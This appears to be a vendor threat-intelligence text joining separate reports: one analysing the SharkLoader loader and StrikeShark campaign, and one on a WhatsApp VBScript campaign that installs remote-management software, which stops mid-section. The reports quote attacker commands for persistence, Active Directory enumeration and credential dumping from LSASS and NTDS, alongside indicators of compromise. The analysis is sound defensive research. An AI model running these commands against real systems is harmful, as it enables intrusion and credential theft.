6. Protect your business against email-borne threats. Kaspersky Security for Mail Server, a comprehensive email security platform that offers robust, multi-layered protection at mailbox and gateway levels, can help with this. Powered by machine learning and leading global threat intelligence, it effectively addresses all mail security challenges.
7. Adopt specialized solutions such as Kaspersky Digital Footprint Intelligence to monitor the surface, deep, and dark webs for information about a company’s credentials, leaked data, and lookalike websites. Small and medium-sized companies with limited IT security budgets can partner with a managed security service provider (MSSP) to access this comprehensive digital risk protection service at an affordable, subscription-based price point.

Introduction

During our research of activity affecting a diplomatic organization in Indonesia, we uncovered a previously undocumented malware family that we have named SharkLoader. What initially appeared to be an isolated case quickly expanded into a broader campaign as we identified additional SharkLoader infections across multiple countries and sectors.

Our investigation revealed that SharkLoader serves as a loader designed to deploy Cobalt Strike Beacon on compromised systems. We observed the threat actor deploying SharkLoader through exploitation of internet-facing applications, including Microsoft Exchange, Microsoft SharePoint, and Openfire Server, as well as through malware-based delivery mechanisms.

Beyond the diplomatic entity in Indonesia, we identified related activity targeting government organizations in Taiwan, software development companies across multiple countries, and entities in other sectors located in Hong Kong, Lebanon, Syria, Colombia, North Macedonia, Nepal, Serbia, and more. The observed victimology suggests a campaign with broad geographic reach and a diverse target set rather than a narrow focus on a specific industry or region.

For now, we are tracking this activity as StrikeShark. Although the operators utilize several open-source post-compromise tools associated with Chinese-speaking developers, we have not identified direct code reuse, infrastructure overlap, or operational similarity to confidently attribute the activity to any known APT or cybercrime group. As a result, attribution remains preliminary and the campaign’s ultimate objectives are still under research.

Initial infection

Our analysis of SharkLoader intrusions indicates that the threat actor employs multiple methods to gain initial access to victim environments. During our investigation, we observed two primary infection vectors: the exploitation of vulnerabilities in internet-facing applications and the deployment of custom dropper samples, some of which were disguised as legitimate software.

Exploitation of public-facing applications

In the incident affecting an Indonesian diplomatic entity, the threat actor exploited Microsoft Exchange vulnerabilities, including CVE-2021-26855 (ProxyLogon), to gain access to the target environment. Similar activity was observed in Taiwan, where software development organizations were compromised through exploitation of Openfire (CVE-2023-32315). In a separate incident affecting a Colombian organization, the threat actor exploited a GeoServer instance vulnerable to CVE-2024-36401.

Beyond these incidents, we identified additional exploitation activity targeting vulnerabilities in multiple internet-facing enterprise applications and network appliances including those listed below:

Remote Code Execution (RCE)

• Apache Shiro: CVE-2016-4437
• Hikvision Products: CVE-2021-36260
• Microsoft SharePoint: CVE-2021-27076
• Zimbra Collaboration Suite: CVE-2022-27925
• Microsoft Exchange Server: CVE-2022-41082
• F5 BIG-IP system: CVE-2023-46747
• Fortinet FortiOS: CVE-2024-21762
• React Server Components: CVE-2025-55182

Authentication Bypass

• Fortinet FortiOS: CVE-2022-40684
• Cisco IOS XE Web UI: CVE-2023-20198

As of the time of writing this article, we haven’t obtained the exploits the attackers used. However, based on the vulnerabilities observed across multiple attacks, we assess with medium confidence that the threat actor primarily relies on publicly available proof-of-concept (PoC) exploits to gain initial access. All the vulnerabilities identified during our investigation have publicly available exploit code, including PoCs hosted on GitHub and other open-source platforms, suggesting the actor leverages existing offensive resources rather than develops custom exploit capabilities. The victim profile also indicates that the activity is largely opportunistic, affecting organizations across various industries, regions, and technology environments without a clear focus on a specific target set. Also, one of the IP addresses associated with the C2 domain was also observed conducting internet-wide scanning activity, potentially aimed at identifying and exploiting vulnerable internet-facing systems at scale.

Following exploitation, the attacker established persistence on compromised servers through the deployment of webshells. Although we were unable to recover the webshell files, a series of commands whose execution we observed in our telemetry along with the detection records of webshells strongly indicate their use for post-exploitation activities.

One of the earliest observed actions involved copying the legitimate Windows application SystemSettings.exe to a new location before executing it.

cd C:\Windows\ImmersiveControlPanel\
copy SystemSettings.exe C:\ProgramData\
cd C:\ProgramData\
SystemSettings.exe

This application was later abused as part of a DLL sideloading chain used to launch SharkLoader, which in this scenario was hidden in the malicious SystemSettings.dll library. We suspect that this DLL along with malicious encrypted files, which we’ll describe further, was uploaded through the webshell to the same directory as SystemSettings.exe.

In another case involving the exploitation of CVE-2021-27076, the threat actor launched SystemSettings.exe triggering the subsequent SharkLoader sideloading chain from different directories on the system, which suggests renewed operational activity in the victim environment. In some of the cases, they used security product vendor names as the directory names, allegedly to appear legitimate.

cd C:\ProgramData\KasperskyLab\
dir
.\SystemSettings.exe
cd %APPDATA%
dir
cd kasperskylab
dir
.\SystemSettings.exe

Dropper-based distribution

In several observed cases, the threat actor distributed SharkLoader through custom dropper executables masquerading as legitimate software installers or applications such as Google Update and Cisco AnyConnect. However, the exact delivery mechanism used to distribute these droppers remains unknown.

The observed dropper filenames include:

• GoogleUpdateStepup.exe
• AnyConnect-win-4.10.04071-predeploy-k9exe
• AutoUpdate.exe
• 319-pfd-8001-reva_traitement biologique_master.zip

In one of the samples we analyzed, the threat actor used a legitimate Cisco AnyConnect VPN installer as a lure. The custom dropper extracted zlib-compressed data embedded within its resource section, decompressed it into an MSI package, and wrote the file to %APPDATA%\reports\AnyConnect-win-4.msi. The MSI package was a legitimate Cisco AnyConnect VPN installer, which was subsequently executed via the ShellExecuteW API, making the user believe the custom dropper was a legitimate application.

While the Cisco AnyConnect installer was decompressed and executed, SharkLoader components were silently dropped into directories in %APPDATA% different from %APPDATA%\reports\ in the background, executing the malware loader once the installation process completes.

Malicious Cisco Secure Client installer

In addition to installer-themed lures, several SharkLoader droppers use decoy PDF documents to persuade victims to open the malicious file. However, not all samples employ this technique, as some droppers function solely as a delivery mechanism for SharkLoader without presenting any lure content.

Among the samples analyzed, most droppers write the decoy PDF to a subdirectory named aswerf within the %TEMP% directory, while others save the document directly to %TEMP%.

Analysing the sample shows the PDF files are stored within the dropper’s resource section under the resource name TELEMETRY and are compressed with zlib. Upon execution, the dropper extracts and decompresses the embedded PDF, writes it to disk using the same filename as the dropper executable but with a PDF extension, and launches it via cmd.exe /c to display the decoy document to the victim.

The following are examples of PDF documents extracted and displayed by the droppers during the deployment of SharkLoader.

Lure document 1. The document appears to be related to a biological treatment process and was produced by an engineering consultant

Lure Document 2. Translated title: Liquid Rocket Engine Design Program

In one dropper sample, discovered on a machine located in Lebanon (MD5: 1F65544978B8EA0E745E573B8EE9684B), the dropper extracts and decompresses SystemSettings.dll from zlib-compressed data embedded within the binary and writes it to %APPDATA%\xwreg. It also extracts and decompresses DscCoreR.mui and SyncRest.dat from resources named VAULTSVCD and UMRDPRDAT, respectively, and writes them to the same directory.

The dropper extracts SystemSettings.dll from the binary and retrieves encrypted components from the resource section

The dropper then copies the legitimate SystemSettings.exe application from C:\Windows\ImmersiveControlPanel to the target location to facilitate DLL sideloading. Across other SharkLoader dropper samples analyzed, the malware components were observed being written to either %APPDATA%\xwreg or %APPDATA%\xgdf.

SharkLoader installation

SharkLoader is composed of multiple components that work together to load and execute the final implant, a Cobalt Strike Beacon.

While the majority of SharkLoader samples analyzed rely on the sideloading of SystemSettings.dll, other variants leverage alternative DLL side-loading targets, including msedge.dll, PrintDialog.dll, and miracastview.dll, each of them leveraging a corresponding legitimate application.

Across the different variants examined, the encrypted modules were also observed using a variety of filenames, including:

GameInputInboxs32.mui
diagerr.xml
NtfsLog.etl
Ignored.Dat
VistaCompat.nls

The SharkLoader execution flow is as follows:

SharkLoader infection chain observed in the StrikeShark campaign

In the dropper-based infections, after deploying all required SharkLoader components, the dropper creates two scheduled tasks through the Windows Task Scheduler COM interfaces. Task names:

• OneDrive Standalone Update Task-S-1-5-21-4165425321-4153752593-2322023643-1000
• MicrosoftUpdateTaskUserS-1-5-32-2456537112-101246289-228944324-1000

Both tasks are configured to execute the copied SystemSettings.exe from the malware’s working directory (for example, %APPDATA%\xwreg or %APPDATA%\xgdf), triggering the side-loading of the malicious SharkLoader DLL.

The first scheduled task uses a time-based trigger that executes every five minutes, providing long-term persistence.

The second task is configured to execute every second, likely to ensure immediate execution of SharkLoader following deployment.

After a delay of approximately 1.5 seconds, the dropper removes the second scheduled task by using the Task Scheduler COM interfaces, leaving the first task in place to maintain persistence on the system.

SharkLoader DLL – Main implant

For the detailed analysis of the infection chain, we’ll focus on the SharkLoader components deployed by a malicious dropper named 一种异常状况的截图（包括操作系统和输入法版本）.pdf.exe (MD5: 24FCEBDEECBA65004FDB0923763D74FD), which was identified in a campaign targeting a government entity in Taiwan.

“PerfectDLL Hijacking” technique

Once the malicious DLL is loaded, SharkLoader implements a technique commonly referred to as “Perfect DLL Hijacking” and originally described by a security researcher named Elliot Killick on his blog. The purpose of this technique is to bypass the Windows loader lock and safely create a malicious thread via the CreateThread API without risking a deadlock.

According to Microsoft’s Dynamic-Link Library Best Practices, the Windows loader holds a synchronization object known as the “loader lock” while executing the DllMain function. This mechanism ensures that only one thread can perform DLL loading and initialization operations within a process at any given time. As a result, invoking APIs such as CreateThread or LoadLibrary from within DllMain can lead to deadlocks because the loader lock remains held throughout the execution of the function.

To avoid this issue, SharkLoader manipulates the process’s internal loader state to release the loader lock before invoking CreateThread from the DllMain execution path. By doing so, it attempts to execute its malicious code without triggering the loader-related deadlocks that can occur when threads are created while the loader lock remains held.

Implementation of the Perfect DLL Hijacking technique to bypass the Windows Loader Lock

Based on the code, SharkLoader first resolves the addresses of several undocumented loader structures within ntdll.dll, including:

1. LdrpLoaderLock: the critical section object used by the Windows loader to synchronize module loading and initialization operations
2. LdrpWorkInProgress: an internal loader state variable that tracks whether module initialization is currently in progress

After locating these structures, SharkLoader forcefully releases the loader lock by invoking LeaveCriticalSection on LdrpLoaderLock. It then decrements the value of LdrpWorkInProgress with InterlockedDecrement64, effectively marking the initialization process as complete.

Finally, the malware signals the loader completion event via SetEvent before creating a new thread to execute its malicious functionality. As a result, these actions manipulate the loader’s internal state and cause Windows to treat the DLL initialization process as having completed successfully. This allows SharkLoader to continue execution after forcefully releasing the loader lock, despite still operating from within the DllMain execution path.

Decryption and loading of >DscCoreR.mui

As shown in the previous section, the loader creates a new thread after escaping the Windows loader lock. This thread subsequently spawns a second thread responsible for decrypting and reflectively loading the encrypted file, DscCoreR.mui.

The routine first reads the encrypted file into memory and extracts the first 16 bytes to use as the Blowfish decryption key. It then initializes the Blowfish cipher by using custom P-array and S-box constants embedded in the loader and decrypts the file in ECB mode with the extracted key. Once decryption is complete, the resulting PE file is reflectively loaded into memory and executed without being written to disk.

Structure of the encrypted DscCoreR.mui file containing the 16-byte Blowfish key bytes followed by the encrypted PE bytes

The decrypted DscCoreR.mui file is a packed PE file with its MZ header removed, likely as an anti-analysis measure. After decryption, SharkLoader processes the PE image by parsing its headers, allocating memory for the image, mapping its sections, applying relocations, resolving imported functions, and setting the appropriate memory protections. Once the in-memory PE loading process is complete, the main loader, SystemSettings.dll, transfers execution to the entry point of the mapped image, which contains the packer stub.

The stub then unpacks the protected code, invokes the DLL’s DllMain function, and returns execution to SystemSettings.dll. Finally, SystemSettings.dll calls the exported function SetUserProcessPriorityBoost from the mapped DLL, triggering execution of the fully unpacked next-stage DLL.

DscCoreR.mui and SyncRes.dat DLLs

Within the decrypted and unpacked DscCoreR.mui code, the malware proceeds to load and decrypt a second encrypted file, SyncRes.dat, before reflectively loading the resulting DLL into memory.

The mapped DLL installs multiple API hooks by using Microsoft Detours, which will be discussed in the next section.

After mapping and loading SyncRes.dat for API hooks, the DscCoreR.mui performs installation of the Vectored Exception Handler (VEH) and then creates a thread in a suspended state that is later used to execute the Cobalt Strike Beacon shellcode. Additionally, to facilitate additional API hooks, it decompresses and loads the MinHook library and uses it to install hooks on the VirtualAlloc and Sleep APIs.

The DscCoreR.mui then decompresses the Cobalt Strike Beacon shellcode into the memory region associated with the suspended thread and then the suspended thread is resumed, resulting in execution of the beacon.

Decryption and loading of SyncRes.dat

To decrypt SyncRes.dat, the malware extracts a 16-byte AES-128 key and a 16-byte initialization vector (IV) directly from the file itself. The first 16 bytes of the file contain the AES key, while the subsequent 16 bytes contain the IV. The remaining file content consists of AES-encrypted data, which is decrypted using the extracted key and IV. Once decrypted, the resulting data reveals a PE image with its MZ header removed, similar to DscCoreR.mui.

Structure of the encrypted SyncRes.dat file showing the AES key, IV, and encrypted PE bytes

Similar to the decrypted DscCoreR.mui module, the decrypted SyncRes.dat file is also protected by an unknown custom packer. After decryption, the loader reflectively loads the PE image before transferring execution to the module’s entry point.

The entry point contains a packer stub responsible for unpacking the protected code in memory. Once the unpacking routine is complete, the malware invokes a specific exported function named StartEngineData, which serves as the primary execution routine of the third-stage DLL.

Before continuing with the DscCoreR.mui analysis, we will first discuss SyncRes.dat.

SyncRes.dat decrypted DLL: Multiple API hooks

The decrypted and unpacked SyncRes.dat DLL is primarily responsible for installing multiple Windows API hooks by using the Microsoft Detours library. After attaching all detour hooks, it calls DetourTransactionCommitEx to apply them in one commit.

The following table lists the hooked Windows APIs and their corresponding hook handler functions.

Upon completing the installation of API hooks via the decrypted SyncRes.dat, the DscCoreR.mui DLL proceeds with the remaining functions, which are discussed below.

VEH registration and access violation handling

Following the installation of the API hooks, the malware registers a Vectored Exception Handler (VEH) to monitor exceptions generated during runtime. The handler specifically checks for access violation exceptions (0xC0000005). When such an exception occurs, it retrieves the faulting memory address from the exception record and calls VirtualProtect to restore read, write, and execute (RWX) permissions to the corresponding memory page before resuming execution.

During our analysis, no access violations were observed. It is possible that this mechanism is intended to handle access violations that may occur under specific runtime conditions.

Thread creation for Cobalt Strike Beacon execution

The malware creates a new thread in a suspended state that is intended to execute the Cobalt Strike Beacon shellcode. The thread entry point is configured to point to a memory buffer that will later contain the beacon shellcode.

At this stage, the buffer does not yet contain the actual Cobalt Strike Beacon shellcode. Instead, the thread is created in a suspended state so that the malware can prepare and inject the shellcode into the buffer before execution. Once the beacon payload has been written into the buffer, the malware resumes the suspended thread using the ResumeThread API, which triggers the execution of the Cobalt Strike beacon.

MinHook DLL, API hooking, and Cobalt Strike beacon

After creating the suspended thread for beacon execution, the malware decompresses a zlib-compressed MinHook PE file embedded within DscCoreR.mui. The MinHook library is used to install API hooks for the VirtualAlloc and Sleep functions. Once the MinHook DLL is decompressed and loaded into memory, the malware resolves the exported functions MH_Initialize and MH_CreateHook, which are then used to install hooks on the VirtualAlloc and Sleep APIs.

After the hooks are installed, the malware invokes a function that decompresses a zlib-compressed Cobalt Strike Beacon shellcode embedded within the malware. The function first decompresses the shellcode into a temporary buffer and then allocates executable memory using VirtualAlloc with RWX permissions. The decompressed beacon is subsequently copied into the allocated memory region.

Because the VirtualAlloc API has already been hooked at this stage, the hook handler captures the address and size of the allocated memory used to store the beacon shellcode. The hook records the addresses and sizes of the first three successful memory allocations and stores these values in global variables to track specific memory regions allocated during execution. These tracked regions are associated with memory buffers used by the Cobalt Strike Beacon during runtime.

The second hook, on the Sleep API, is used when Cobalt Strike Beacon calls Sleep, such as during beacon sleep intervals. It temporarily modifies the memory protection of the tracked allocation regions by using VirtualProtect, changing their protection to PAGE_READWRITE (RW) before invoking the original Sleep function. After the sleep period ends, the malware restores the memory protection of those regions to PAGE_EXECUTE_READWRITE (RWX). This behavior suggests that the malware developer implemented this mechanism to evade memory scanning techniques that identify executable (RWX) code regions in memory.

Finally, after the API hooks are installed and the Cobalt Strike Beacon shellcode has been written to the thread buffer, the malware calls the ResumeThread API to resume the suspended thread and begin execution of the beacon.

Persistence mechanism

While the analyzed SharkLoader implant does not contain a built-in persistence mechanism especially when it comes to cases when it is dropped after the exploitation of a public-facing application, our investigations revealed that the threat actor employs several techniques to maintain access to compromised systems.

Registry Run key: In the incident that affected an organization in Hong Kong, the attacker manually created a registry Run key to launch SystemSettings.exe upon user logon. The following command was used:

reg add HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "MFUpdate" /t REG_SZ /d "$appdata\Identities\SystemSettings.exe" /f

This technique allows the malware to automatically execute whenever the user logs in, ensuring persistent access.

Scheduled task: In the separate compromise that affected a diplomatic government entity in Indonesia, the attacker established persistence through a scheduled task configured to execute SharkLoader daily. The task, named "\Microsoft\Windows\Edge\Edgeupdate", was configured to run C:\ADriveLogs_Logs\SystemSettings.exe by using the following command:

Schtasks /create /s /u "" /p "" /ru "SYSTEM" /tn "\Microsoft\Windows\Edge\Edgeupdate" /sc DAILY /tr "C:\ADriveLogs_Logs\SystemSettings.exe /F"

Running the task with SYSTEM privileges ensures that SharkLoader executes even if no user is logged in.

Post-compromise activity

Following initial compromise and persistence, the attacker engaged in extensive reconnaissance and credential theft activities.

System information enumeration: The attacker initially gathered basic system information by using the following commands:

systeminfo
ipconfig /all
tasklist /svc

Post-exploitation tools: Our analysis revealed the use of several third-party post-exploitation tools, most of which are open-source and developed by Chinese-speaking developers. These tools included:

We also detected the use of SharpGPOAbuse by the threat actor, a tool designed to modify Group Policy Objects within Active Directory environments.

Active Directory enumeration: In the compromise affecting a diplomatic government entity in Indonesia, the attacker used both Cobalt Strike and a webshell to enumerate the internal Active Directory environment. They executed a series of commands to gather information about the network, users, and groups:

• Network information:
  

  ping -n
  netstat -ano
  arp -a
  net share

• User and group information:
  

  query user
  nslookup
  quser
  net group /domain

• Specific group membership:
  

  powershell "Get-ADGroupMember -Identity "" -Recursive | Select-Object Name, ObjectClass"
  dsquery group -name "" | dsget group -members -expand | dsget user -samid -display -email"
  powershell "Get-ADGroupMember -Identity "" -Recursive | Where-Object { $_.ObjectClass -eq "computer" } | Select-Object Name, SamAccountName"
  powershell -exec bypass -c "Get-ADUser -Filter * -Prop * | select sAMAccountName
  net group "Domain Controllers" /domain
  net group "Enterprise Admins" /domain
  net group "Organization Management" /domain
  net group "domain admins" /domain

• Process enumeration:
  

  tasklist /SVC | findstr $selfname.exe

• Directory listing:

dir \\c$
dir \\c$\inetpub
dir \\c$\inetpub\custerr
dir \\c$\inetpub\wwwroot\

Credential dumping: The attacker also attempted to dump credentials from the compromised machine by targeting both the LSASS process and the NTDS database file. The following commands were observed:

ntdsutil "ac i ntds" "ifm" "create full $temp" q q
Procdump64.exe -accepteula -ma lsass.exe $temp\lsass.dmp

Dumping the LSASS process allows the attacker to extract in-memory credentials, while accessing the NTDS database enables retrieval of Active Directory account password hashes. This combination of techniques allows the attacker to obtain privileged credentials for lateral movement, privilege escalation, and deeper compromise.

Victimology

The victimology observed in this campaign shows a combination of strategic and opportunistic characteristics. Confirmed victims include government-related entities, such as the ministry in Taiwan and the diplomatic organization in Indonesia, as well as software development companies in Taiwan, Lebanon, and Syria. Additional affected organizations were identified in Hong Kong, Colombia, Macedonia, Nepal, and Serbia.

Targeting of government and software development organizations may indicate a cyber-espionage objective, although our confidence remains low due to the limited post-compromise activity observed, which primarily consisted of credential access, system reconnaissance, and lateral movement. The compromise of government and software development organizations could indicate an interest in gathering political intelligence or intellectual property.

At the same time, the use of SharkLoader and Cobalt Strike, alongside the exploitation of public-facing applications and malicious installers and droppers, suggests the attacker may also be opportunistically targeting vulnerable systems. The absence of clear evidence of data exfiltration thus far does not exclude this possibility, as Cobalt Strike’s file operation and data exfiltration modules could be employed at a later stage.

Although the full scope of the campaign is not yet known, the combination of targeted and opportunistic activity suggests it should continue to be closely monitored.

Attribution

Our investigation reveals no code or infrastructure overlap linking SharkLoader to any existing threat actor at this time. The TTPs employed during the operation also do not align with those of known actors.

However, analysis of the post-exploitation open-source tools used during the campaign revealed that several reconnaissance tools, including FScan, Searchall, and Pillager, were developed by individuals identified as Chinese speaking developers on GitHub.

We assess StrikeShark to be a Chinese-speaking threat actor with low confidence. This assessment is based on limited indicators and should be considered preliminary. Further investigation is required to characterize this cluster more fully, and the possibility remains that other actors may also be utilizing these tools.

Conclusion

Our investigation discovered a previously undocumented intrusion cluster that we are tracking as StrikeShark. The StrikeShark campaign represents a sophisticated malware threat to entities worldwide. The use of SharkLoader to deploy Cobalt Strike, coupled with API hook installation to evade detection, demonstrates a significant level of technical expertise. The campaign’s broad targeting across sectors and geographic regions suggests a potential focus on espionage or information gathering. While the precise objectives remain under investigation, the combination of targeting government entities and software developers warrants heightened vigilance.

Given that our visibility is limited to incidents observed through Kaspersky telemetry, we suspect the actual number of compromises may be significantly higher and extend beyond these victims as the threat actor actively used several exploitations of public facing application.

Indicators of compromise

Additional information about this activity, including indicators of compromise, is available to customers of the Kaspersky Intelligence Reporting Service. If you are interested, please contact intelreports@kaspersky.com.

C559CC68986933200FD5D9E4388E2F58                    Installer
B3352B42432DEDC4A519F011DC8B5D5A                  Dropper
24FCEBDEECBA65004FDB0923763D74FD                  Dropper
9C872A0D5D5A38950E8B9AC9B488BE3F                  SharkLoader DLL
AA3086BE652C8B20B0B29B2730D57119                   SharkLoader DLL
A514D1BB62D7916475946FE7C07AC0AA                  Encrypted file
9CBD560F820C95D7C38342CD558CB5C6                  Encrypted file
connect-microsoft[.]com
ms-record[.]com
ms-record[.]top
ms-tray[.]top

In June 2026, we observed a malware campaign distributing malicious VBScript files through direct messages in WhatsApp. The campaign affected users across multiple countries and territories, including Malaysia, Brazil, India, Mexico, Singapore, UK, Spain, Taiwan, Australia, Russia and Vietnam, with the highest number of victims observed in Malaysia. At the time of writing this article, the campaign is still active.

Analysis shows that the campaign primarily targets users of WhatsApp Desktop and WhatsApp Web. The threat actor uses deceptive file names masquerading as business and financial documents to persuade recipients to download and execute the attachment. Once executed, the VBScript initiates a multi-stage infection chain that ultimately results in the installation of legitimate Remote Monitoring and Management (RMM) software, enabling remote access to the victim’s system.

Overview of the WhatsApp-based VBScript infection chain

We came across a number of social media posts reporting that the malware was being distributed by the users’ contacts. The messages contained only the malicious attachment and did not include any accompanying text. One account sent the same attachment to multiple contacts from their list.

WhatsApp messages containing the malicious VBScript file observed across multiple accounts. Source: alleged victims’ posts on social media

Based on evidence collected from multiple victims through social media reports and submitted samples, we can conclude that the threat actor had gained access to several WhatsApp accounts and used them to distribute the malicious VBScript files to contacts on the compromised users’ contact lists. At the time of writing, the exact method used to compromise these WhatsApp accounts remains unknown.

Social engineering through financial-themed file names

Analysis of the samples revealed that the threat actor relied heavily on social engineering through the use of deceptive file names designed to appear as legitimate business and financial documents. The file names frequently referenced invoices, account statements, debt notices, payment records, and bank statements.
Examples of file names include:

• Financial Reports.vbs
• Debt confirmation.vbs
• Statement of Debt(30K).vbs
• Outstanding Payment List.vbs
• Account Statement.vbs
• Debt Statement.vbs
• Billing Statement (2).vbs
• Promissory_Note(b).vbs

Several file names were also localized into different languages, including Portuguese, French, German, and Malay. Examples include:

• Extrato de Conciliação.vbs
• Aviso de dívida.vbs
• Le formulaire de demande le plus récent.vbs
• Bitte füllen Sie das Formular für Umsatzsteuer-Nullsatz-Verkäufe aus.vbs
• Penyata bank.vbs
• Sila semak bil anda.vbs

The use of multiple languages further suggests that the campaign may be targeting victims across different geographic regions.

In addition, the VBScript samples contain extensive comments and metadata intended to mimic legitimate Microsoft Windows Update components. Many of these comments are written in Chinese and include references to Windows Update modules, certificate validation, system integrity checks, and deployment-related functionality. The screenshot below shows an example of the Windows Update–themed comments and Chinese-language annotations embedded within one of the analyzed scripts.

Windows Update–themed and Chinese-language comments observed across multiple Stage 1 VBScript variants

Delivery of the initial VBScript file

Analysis of telemetry collected from the systems where the malware was executed, conducted together with the dynamic analysis of the sample, showed that the VBScript is launched through Windows Script Host (WScript.exe), which subsequently retrieves and executes additional VBScript components required for the later stages of the attack.

Two user interactions are needed to initiate the infection chain. When the user first clicks the attachment in either WhatsApp Desktop or WhatsApp web, it is downloaded to their machine. To launch the app, they need to open it.

In WhatsApp Desktop, the malware is executed directly within the application by clicking the file icon after downloading it or by choosing the “Open” option in the chat. The process tree analysis shows that WScript.exe is spawned by WhatsApp.Root.exe. The executed script was observed within WhatsApp Desktop’s attachment storage directory, with the following command line:

"C:\Windows\System32\WScript.exe" "C:\Users\<username>\AppData\Local\Packages\5319275A.WhatsAppDesktop_cv1g1gvanyjgm\LocalState\Sessions\<session_identifier>\Transfers\<YYYY-MM>\financial reports(s).vbs"

This process relationship confirms that the malicious VBScript was executed directly from the WhatsApp Desktop client.

In contrast, when the attachment is accessed through WhatsApp Web, to launch the malware, the user should open the downloaded file from the Downloads folder or through the browser’s download history. In the first case, the malware’s parent process will be explorer.exe, while in the second, it will be executed by the browser where the web app was opened.

Technical analysis

Stage 1: Initial VBScript execution

The first stage of the infection chain is a VBS or VBE file delivered through WhatsApp. Although multiple variants of the scripts were observed, their core functionality remains consistent: the script creates a working directory under C:\Users\Public\Documents\, downloads two additional VBScript payloads from a remote infrastructure, and executes them using Windows Script Host.

Across the observed variants, the working directory is created using randomized names such as Temp_<random> or MSUpdate_<random>. Some variants also configure the directory and downloaded files with hidden and system attributes, likely to reduce visibility to the user during execution.

Example of the code generating a random working directory and configuring it with hidden and system attributes

The scripts employ several obfuscation techniques, including string concatenation, encoded VBScript, randomized variable names, and large amounts of junk content. One notable variant employs even heavier obfuscation than the other samples. The script reconstructs object names, file paths, utilities, and URLs through character-by-character string concatenation.

Example of an obfuscated Stage 1 VBScript variant.

Several variants copy curl.exe and bitsadmin.exe into the working directory and rename them using DLL-like filenames before downloading additional VBS files.

Example of the Stage 1 downloader logic using renamed Windows utilities and multiple download mechanisms to retrieve additional VBS files

The downloaded files are commonly staged using misleading file extensions before execution. For example, some variants download files using PDF or TXT extensions and then change them to VBS before launching them with wscript.exe. Other variants download the secondary VBScript payloads directly.

Despite differences in infrastructure, file names, and obfuscation methods, all observed variants ultimately perform the same function: downloading and executing two secondary VBScript payloads that continue the infection chain.

Stage 2: Execution of secondary VBScript payloads

Following execution, the Stage 1 VBScript downloads and launches two additional VBScript files from attacker-controlled infrastructure. One script attempts to modify Windows User Account Control (UAC) settings, while the other downloads and executes a ZIP archive containing the installation package for a RMM software.

VBS script 1: UAC configuration modification

First Stage 2 scripts were observed attempting to modify Windows      UAC     behavior.

Stage 2 VBScript repeatedly attempting to modify the ConsentPromptBehaviorAdmin registry value

As shown in the figure above, the script repeatedly executes an elevated registry modification command targeting the following registry key:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin

The command is launched using the ShellExecute method with the runas verb, causing Windows to request administrative privileges before the registry change can be applied. Its goal is to set the ConsentPromptBehaviorAdmin registry key value to 0, thus enabling administrative actions without displaying a consent prompt to the user. The script attempts to apply this registry change in a loop with short delays between executions, likely to increase the chances that the setting will be successfully modified if administrative privileges are granted by the victim.

VBS script 2: ZIP download and script execution

The second VBS script downloads a ZIP file, extracts it and executes a script to start the RMM installation.

Similar to the Stage 1 downloader, the Stage 2 downloader creates its own working directory under C:\Users\Public\Documents\, commonly using randomized folder names such as Sys<random>, Data<random>, or a random numeric value. In most cases, the hidden attribute is assigned to this folder. The script then downloads a ZIP archive from attacker-controlled infrastructure, extracts its contents, and executes an embedded setup1.vbs script.

Stage 2 downloader creating a hidden working directory under C:\Users\Public\Documents\

Similar to the Stage 1 downloader, the variants leverage multiple download mechanisms, including curl, bitsadmin, certutil, PowerShell, and direct HTTP requests.

Stage 2 downloader using multiple download mechanisms to retrieve the ZIP archive

Following a successful download, the archive is extracted using the Shell.Application COM interface. Most variants invoke the CopyHere method with flags intended to suppress user prompts and allow extraction to proceed without user interaction. The extracted setup1.vbs script is then launched through wscript.exe to proceed with the next stage of the infection chain.

Also, one variant additionally attempts to remove Zone.Identifier alternate data streams from extracted files prior to execution, likely to reduce security warnings associated with files downloaded from the Internet.

Example of the code responsible for ZIP extraction, Zone.Identifier removal, and execution of the next-stage VBScript

Stage 3: Installation of remote monitoring and management software

Besides the setup1.vbs script, the ZIP archive downloaded during Stage 2 contains a preconfigured ManageEngine Endpoint Central deployment package. Inside the archive are the files required to install and register the Endpoint Central agent, including the MSI installer, configuration files, certificates, and installation scripts.

Extracted Stage 3 Endpoint Central installation ZIP package

The table below summarizes the purpose of each file contained within the deployment package:

ManageEngine Endpoint Central is a legitimate enterprise management platform commonly used for software deployment, system administration, and remote support. Its remote administration capabilities make it attractive for abuse by threat actors seeking persistent access to compromised systems.

One interesting variant attempted to disguise the package as an income tax–related document. Instead of containing a legitimate tax document, the archive contained a VBScript file named “Income Tax Return Form.vbs” and accompanied by an instruction file designed to persuade the victim to open it. Analysis showed that the VBScript contained functionality similar to setup1.vbs, ultimately performing the same Endpoint Central installation process.

Tax document-themed VBScript lure and installation script

As discussed in Stage 2, the downloader ultimately executes a VBScript file named setup1.vbs. The script first verifies that the required installation files are present in the extracted folder and then attempts to relaunch itself with administrative privileges using the Windows runas mechanism before proceeding with the installation.

The setup1.vbs script verifying installation files and requesting administrative privileges

Once elevated, setup1.vbs silently installs the bundled ManageEngine Endpoint Central agent using msiexec.exe, applying the supplied configuration and certificate files. The installation is performed silently, preventing the user from seeing the Endpoint Central installation interface.

Endpoint Central agent installation via msiexec.exe

Analysis of the embedded DCAgentServerInfo.json configuration file revealed the following Endpoint Central management servers:

• 202.61.160[.]208
• 202.61.160[.]202
• 202.61.160[.]201
• 202.61.160[.]160
• 202.61.160[.]137
• 38.55.151[.]63

Notably, 202.61.160[.]201 had previously been observed as command-and-control infrastructure associated with ValleyRAT and Gh0st RAT activity. Although the overlap raises the possibility of the VBS campaign being linked to the operator of these known malware families, the available evidence is insufficient to confidently attribute the campaign to a known threat actor.

Victimology and attribution

Based on our telemetry, infections were observed across several countries and territories, including Malaysia, Brazil, India, Mexico, Singapore, UK, Spain, Taiwan, Australia, Russia, and Vietnam, with 80% of the victims located in Malaysia. The campaign primarily relied on malicious VBScript attachments distributed through WhatsApp and appeared to target individual users rather than specific organizations or industries. At the time of the analysis, no evidence suggested a focused targeting strategy, instead indicating a broad, opportunistic campaign aimed at consumers.

We were unable to confidently attribute this activity to a known threat actor or intrusion set. However, several artifacts observed throughout the campaign point to a possible Chinese-speaking threat actor.

Multiple VBScript samples contained comments, module descriptions, and execution notes written in simplified Chinese characters. These comments appeared consistently across different variants, suggesting that the scripts were likely developed or maintained by a Chinese-speaking operator.

